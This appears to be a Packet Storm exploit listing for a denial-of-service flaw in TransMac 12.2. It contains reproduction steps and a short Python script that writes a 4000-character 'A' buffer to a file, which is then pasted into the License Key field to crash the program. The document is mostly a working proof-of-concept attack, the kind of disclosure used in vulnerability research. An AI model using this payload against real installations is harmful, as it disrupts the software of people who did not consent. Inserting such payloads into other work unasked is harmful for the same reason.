TransMac 12.2 Denial Of Service

TransMac version 12.2 suffers from a denial of service vulnerability.

MD5 | 99fc31256826306f7d12235ddc460aa5

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# Exploit Title: TransMac 12.2 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-26
# Software Link: http://www.acutesystems.com/tmac/tmsetup.exe
# Tested Version: 12.2
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt". Copy the content from "exploit.txt".
# Now start the program. When inside the program click "Enter Key"
# Now paste the contents of "exploit.txt" into the fields:"License Key/Code"
# Click "OK" and you will see a crash.
 
#!/usr/bin/python
    
buffer = "A" * 4000
 
payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"

Source: packetstormsecurity.com